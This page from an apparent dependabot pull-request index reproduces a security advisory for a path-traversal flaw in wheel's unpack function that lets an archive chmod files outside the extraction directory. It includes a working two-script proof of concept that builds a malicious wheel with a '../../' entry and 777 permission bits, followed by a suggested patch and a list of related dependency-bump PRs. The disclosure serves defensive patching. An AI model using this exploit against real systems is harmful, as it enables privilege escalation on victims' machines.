An open index of dependabot pull requests across open source projects.

Wheel Affected by Arbitrary File Permission Modification via Path Traversal in wheel unpack

GHSA-8rrh-rw8j-w5fx CVE-2026-24049
Description:

Summary

  • Vulnerability Type: Path Traversal (CWE-22) leading to Arbitrary File Permission Modification.
  • Root Cause Component: wheel.cli.unpack.unpack function.
  • Affected Packages:
    1. wheel (Upstream source)
    2. setuptools (Downstream, vendors wheel)
  • Severity: High (Allows modifying system file permissions).

Details

The vulnerability exists in how the unpack function handles file permissions after extraction. The code blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path.

# Vulnerable Code Snippet (present in both wheel and setuptools/_vendor/wheel)
for zinfo in wf.filelist:
    wf.extract(zinfo, destination)  # (1) Extraction is handled safely by zipfile

    # (2) VULNERABILITY:
    # The 'permissions' are applied to a path constructed using the UNSANITIZED 'zinfo.filename'.
    # If zinfo.filename contains "../", this targets files outside the destination.
    permissions = zinfo.external_attr >> 16 & 0o777
    destination.joinpath(zinfo.filename).chmod(permissions)

PoC

I have confirmed this exploit works against the unpack function imported from setuptools._vendor.wheel.cli.unpack.

Prerequisites: pip install setuptools

Step 1: Generate the Malicious Wheel (gen_poc.py)
This script creates a wheel that passes internal hash validation but contains a directory traversal payload in the file list.

import zipfile
import hashlib
import base64
import os

def urlsafe_b64encode(data):
    """
    Helper function to encode data using URL-safe Base64 without padding.
    Required by the Wheel file format specification.
    """
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode('ascii')

def get_hash_and_size(data_bytes):
    """
    Calculates SHA-256 hash and size of the data.
    These values are required to construct a valid 'RECORD' file,
    which is used by the 'wheel' library to verify integrity.
    """
    digest = hashlib.sha256(data_bytes).digest()
    hash_str = "sha256=" + urlsafe_b64encode(digest)
    return hash_str, str(len(data_bytes))

def create_evil_wheel_v4(filename="evil-1.0-py3-none-any.whl"):
    print(f"[Generator V4] Creating 'Authenticated' Malicious Wheel: {filename}")

    # 1. Prepare Standard Metadata Content
    # These are minimal required contents to make the wheel look legitimate.
    wheel_content = b"Wheel-Version: 1.0\nGenerator: bdist_wheel (0.37.1)\nRoot-Is-Purelib: true\nTag: py3-none-any\n"
    metadata_content = b"Metadata-Version: 2.1\nName: evil\nVersion: 1.0\nSummary: PoC Package\n"
   
    # 2. Define Malicious Payload (Path Traversal)
    # The content doesn't matter, but the path does.
    payload_content = b"PWNED by Path Traversal"

    # [ATTACK VECTOR]: Target a file OUTSIDE the extraction directory using '../'
    # The vulnerability allows 'chmod' to affect this path directly.
    malicious_path = "../../poc_target.txt"

    # 3. Calculate Hashes for Integrity Check Bypass
    # The 'wheel' library verifies if the file hash matches the RECORD entry.
    # To bypass this check, we calculate the correct hash for our malicious file.
    wheel_hash, wheel_size = get_hash_and_size(wheel_content)
    metadata_hash, metadata_size = get_hash_and_size(metadata_content)
    payload_hash, payload_size = get_hash_and_size(payload_content)

    # 4. Construct the 'RECORD' File
    # The RECORD file lists all files in the wheel with their hashes.
    # CRITICAL: We explicitly register the malicious path ('../../poc_target.txt') here.
    # This tricks the 'wheel' library into treating the malicious file as a valid, verified component.
    record_lines = [
        f"evil-1.0.dist-info/WHEEL,{wheel_hash},{wheel_size}",
        f"evil-1.0.dist-info/METADATA,{metadata_hash},{metadata_size}",
        f"{malicious_path},{payload_hash},{payload_size}",  # <-- Authenticating the malicious path
        "evil-1.0.dist-info/RECORD,,"
    ]
    record_content = "\n".join(record_lines).encode('utf-8')

    # 5. Build the Zip File
    with zipfile.ZipFile(filename, "w") as zf:
        # Write standard metadata files
        zf.writestr("evil-1.0.dist-info/WHEEL", wheel_content)
        zf.writestr("evil-1.0.dist-info/METADATA", metadata_content)
        zf.writestr("evil-1.0.dist-info/RECORD", record_content)

        # [EXPLOIT CORE]: Manually craft ZipInfo for the malicious file
        # We need to set specific permission bits to trigger the vulnerability.
        zinfo = zipfile.ZipInfo(malicious_path)
       
        # Set external attributes to 0o777 (rwxrwxrwx)
        # Upper 16 bits: File type (0o100000 = Regular File)
        # Lower 16 bits: Permissions (0o777 = World Writable)
        # The vulnerable 'unpack' function will blindly apply this '777' to the system file.
        zinfo.external_attr = (0o100000 | 0o777) << 16
       
        zf.writestr(zinfo, payload_content)

    print("[Generator V4] Done. Malicious file added to RECORD and validation checks should pass.")

if __name__ == "__main__":
    create_evil_wheel_v4()

Step 2: Run the Exploit (exploit.py)

from pathlib import Path
import sys

# Demonstrating impact on setuptools
try:
    from setuptools._vendor.wheel.cli.unpack import unpack
    print("[*] Loaded unpack from setuptools")
except ImportError:
    from wheel.cli.unpack import unpack
    print("[*] Loaded unpack from wheel")

# 1. Setup Target (Read-Only system file simulation)
target = Path("poc_target.txt")
target.write_text("SENSITIVE CONFIG")
target.chmod(0o400) # Read-only
print(f"[*] Initial Perms: {oct(target.stat().st_mode)[-3:]}")

# 2. Run Vulnerable Unpack
# The wheel contains "../../poc_target.txt".
# unpack() will extract safely, BUT chmod() will hit the actual target file.
try:
    unpack("evil-1.0-py3-none-any.whl", "unpack_dest")
except Exception as e:
    print(f"[!] Ignored expected extraction error: {e}")

# 3. Check Result
final_perms = oct(target.stat().st_mode)[-3:]
print(f"[*] Final Perms: {final_perms}")

if final_perms == "777":
    print("VULNERABILITY CONFIRMED: Target file is now world-writable (777)!")
else:
    print("[-] Attack failed.")

result:
image

Impact

Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files) to 777. This allows for Privilege Escalation or arbitrary code execution by modifying now-writable scripts.

The unpack function must not use zinfo.filename for post-extraction operations. It should use the sanitized path returned by wf.extract().

Suggested Patch:

# extract() returns the actual path where the file was written
extracted_path = wf.extract(zinfo, destination)

# Only apply chmod if a file was actually written
if extracted_path:
    permissions = zinfo.external_attr >> 16 & 0o777
    Path(extracted_path).chmod(permissions)
Affected Packages
Ecosystem Package Vulnerable Versions Patched Version
pypi wheel >= 0.40.0, <= 0.46.1
0.46.2
Related Dependabot Pull Requests
build(deps): bump virtualenv from 20.36.1 to 21.7.13 in /pulumi in the uv group across 1 directory
Closed 8 days ago
notdodo/erfiume_bot #321
pip:virtualenv
notdodo
chore(deps): bump virtualenv from 21.1.0 to 21.7.13
Closed 16 days ago
aixplain/aiXplain #1172
pip:virtualenv
aixplain
Bump virtualenv from 21.7.4 to 21.7.13
Closed 18 days ago
imjoseangel/kubeagent #3
pip:virtualenv
imjoseangel
chore(deps): bump virtualenv from 21.7.4 to 21.7.13
Open 18 days ago
jeertmans/manim-slides #703
pip:virtualenv
jeertmans
chore(deps): bump virtualenv from 20.36.1 to 21.7.13
Closed 18 days ago
Raphasha27/sallm-mzansil-docker #16
pip:virtualenv
Raphasha27
ci(deps): bump virtualenv from 21.7.8 to 21.7.13
Closed 18 days ago
PilotLeoYan/jarvis-antigravity-agent #27
pip:virtualenv
PilotLeoYan
⬆ Bump virtualenv from 21.2.0 to 21.7.13
Open 18 days ago
aleksul/repid #323
pip:virtualenv
aleksul
build(deps): bump virtualenv from 21.4.2 to 21.7.13
Closed 18 days ago
discord/osprey #75
pip:virtualenv
discord
chore(deps): bump virtualenv from 21.7.0 to 21.7.13 in /quality/tools/python
Closed 18 days ago
siraht/AgentGauntlet #26
pip:virtualenv
siraht
build(deps-dev): bump virtualenv from 21.4.2 to 21.7.13
Closed 18 days ago
aaronkaplan/misp-modules #49
pip:virtualenv
aaronkaplan
Bump virtualenv from 21.7.8 to 21.7.13
Open 18 days ago
aydabd/bootstrap-e2e-20260928-231729-system-centralized-create-repository #3
pip:virtualenv
aydabd
chore(deps-dev): bump virtualenv from 21.2.0 to 21.7.13
Open 18 days ago
DiogoRibeiro7/ai-incident-analysis-agent #91
pip:virtualenv
DiogoRibeiro7
build(deps): bump virtualenv from 21.3.3 to 21.7.13
Open 18 days ago
FrostWillmott/department_structure_api #3
pip:virtualenv
FrostWillmott
Bump virtualenv from 21.6.0 to 21.7.13
Closed 18 days ago
majiidd/persiantools #70
pip:virtualenv
majiidd
Bump virtualenv from 20.35.4 to 21.7.13
Open 18 days ago
20c/rdap #92
pip:virtualenv
20c
Bump virtualenv from 20.36.1 to 21.7.13
Closed 18 days ago
py-mine/mcproto #574
pip:virtualenv
py-mine
Bump virtualenv from 20.36.1 to 21.7.13
Open 18 days ago
lyang/pynamodb-encoder #360
pip:virtualenv
lyang
Bump virtualenv from 20.36.1 to 21.7.13
Open 18 days ago
MrCordeiro/parse2docs #20
pip:virtualenv
MrCordeiro
ci(deps): bump virtualenv from 20.31.2 to 21.7.13
Closed 18 days ago
frangiz/worktimer #236
pip:virtualenv
frangiz
chore(deps-dev): bump virtualenv from 20.29.2 to 21.7.13
Closed 18 days ago
PrivateAIM/secure-dot-product #8
pip:virtualenv
PrivateAIM
chore(deps-dev): bump virtualenv from 20.26.3 to 21.7.13
Closed 19 days ago
magic-ai-research/hash-hop #80
pip:virtualenv
magic-ai-research
Bump virtualenv from 21.3.3 to 21.7.13
Open 19 days ago
saphetor/varsome-api-client-python #41
pip:virtualenv
saphetor
chore(deps): bump the security-updates group across 1 directory with 3 updates
Closed 19 days ago
GovAlta/adsp-monorepo #6006
pip:werkzeug pip:urllib3 +1 more
GovAlta
build(deps): bump virtualenv from 21.5.1 to 21.7.13
Open 20 days ago
statisticsnorway/microdata-tools #157
pip:virtualenv
statisticsnorway
Bump virtualenv from 20.36.1 to 21.7.13
Open 20 days ago
arduino/arduino-lint-action #729
pip:virtualenv
arduino
build(deps-dev): bump virtualenv from 21.7.9 to 21.7.13 in the pip group across 1 directory
Closed 21 days ago
senzing-garage/sz-sdk-proto #435
pip:virtualenv
senzing-garage
Bump virtualenv from 20.36.1 to 21.7.13
Open 21 days ago
SanctumLabs/dbkit #406
pip:virtualenv
SanctumLabs
Bump virtualenv from 21.2.0 to 21.7.13
Open 21 days ago
NVIDIA/cloudai #1079
pip:virtualenv
NVIDIA
chore(deps): bump the uv group across 1 directory with 3 updates
Open 22 days ago
dhananjaylab/LLM-Cost-AutoPilot #44
pip:tornado pip:urllib3 +1 more
dhananjaylab
Bump virtualenv from 21.2.0 to 21.7.13
Open 22 days ago
reporterplus/pytest-html-plus #289
pip:virtualenv
reporterplus
chore(deps-dev): bump virtualenv from 20.36.1 to 21.7.13 in /backend/requirements
Open 23 days ago
onyx-dot-app/onyx #15474
pip:virtualenv
onyx-dot-app
chore(deps-dev): bump virtualenv from 21.7.0 to 21.7.13 in the pip group across 1 directory
Open 23 days ago
abhimehro/Hydrograph_Versus_Seatek_Sensors_Project #750
pip:virtualenv
abhimehro
Bump the uv group across 5 directories with 3 updates
Open 23 days ago
0xsarawut/ethstaker-deposit-cli #2
pip:setuptools pip:filelock +1 more
0xsarawut
chore(deps): bump virtualenv from 21.7.1 to 21.7.13
Open 23 days ago
brandon-fox/alos #69
pip:virtualenv
brandon-fox
chore(deps): bump the uv group across 1 directory with 3 updates
Open 23 days ago
Bobbyjsx/cognito-chat-api #18
pip:urllib3 pip:virtualenv +1 more
Bobbyjsx
Bump virtualenv from 21.6.1 to 21.7.13
Open 23 days ago
twschiller/ma-agent-eval #64
pip:virtualenv
twschiller
chore(deps): bump virtualenv from 21.4.2 to 21.7.13
Open 23 days ago
omnigent-ai/omnigent #8804
pip:virtualenv
omnigent-ai
build(deps): bump virtualenv from 21.3.3 to 21.7.13
Open 23 days ago
matangilabs/kortny #122
pip:virtualenv
matangilabs
chore(deps): bump virtualenv from 21.7.3 to 21.7.13
Open 23 days ago
ahmdelbaz28-ux/BAZspark #487
pip:virtualenv
ahmdelbaz28-ux
chore(deps-dev): bump virtualenv from 21.5.0 to 21.7.13
Open 23 days ago
beaconchain-horizon/prefect #93
pip:virtualenv
beaconchain-horizon
chore(deps): bump virtualenv from 21.4.2 to 21.7.13
Open 24 days ago
thumbor/thumbor #1922
pip:virtualenv
thumbor
build(deps): bump virtualenv from 21.2.0 to 21.7.13
Closed 24 days ago
VectorInstitute/inspect-podman #117
pip:virtualenv
VectorInstitute
chore(deps): bump the uv group across 1 directory with 3 updates
Open 24 days ago
NextGenContributions/django-ninja-crudl #343
pip:tornado pip:virtualenv +1 more
NextGenContributions
chore(deps): bump virtualenv from 21.6.1 to 21.7.13
Open 24 days ago
KooshaPari/HeliosLab #218
pip:virtualenv
KooshaPari
chore(deps): bump the pip group across 6 directories with 4 updates
Open 24 days ago
HarleyCoops/Qwen3-RailroadEngineer1959-RL-lfs-archive #101
pip:tornado pip:virtualenv +2 more
HarleyCoops
chore(deps): bump virtualenv from 21.3.1 to 21.7.13
Closed 24 days ago
Traigent/Traigent #2463
pip:virtualenv
Traigent
Bump virtualenv from 20.26.5 to 21.7.13 in /backend
Open 24 days ago
scaler-ai/copilot-backend-v1 #14
pip:virtualenv
scaler-ai
Bump virtualenv from 21.1.0 to 21.7.13
Closed 24 days ago
lakeraven/notifications-admin #27
pip:virtualenv
lakeraven
chore(deps): bump virtualenv from 20.38.0 to 21.7.13
Open 24 days ago
Climate-REF/climate-ref #940
pip:virtualenv
Climate-REF
Bump virtualenv from 21.6.1 to 21.7.13
Closed 24 days ago
IBM/ibmdiagrams #23
pip:virtualenv
IBM
Advisory Details
Published: January 22, 2026 9 months ago
Updated: October 19, 2026 7 days ago
CVSS Score: 7.1 CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H
EPSS: 0.35% 27th percentile
Source: Github
Classification: GENERAL
UUID: GSA_kwCzR0hTQS04cnJoLXJ3OGotdzVmeM4ABRYR
PR Statistics
PR Status
Open 212 (49.3%)
Merged 0 (0.0%)
Closed 218 (50.7%)
Update Types
Major 102 (11.5%)
Minor 545 (61.6%)
Patch 177 (20.0%)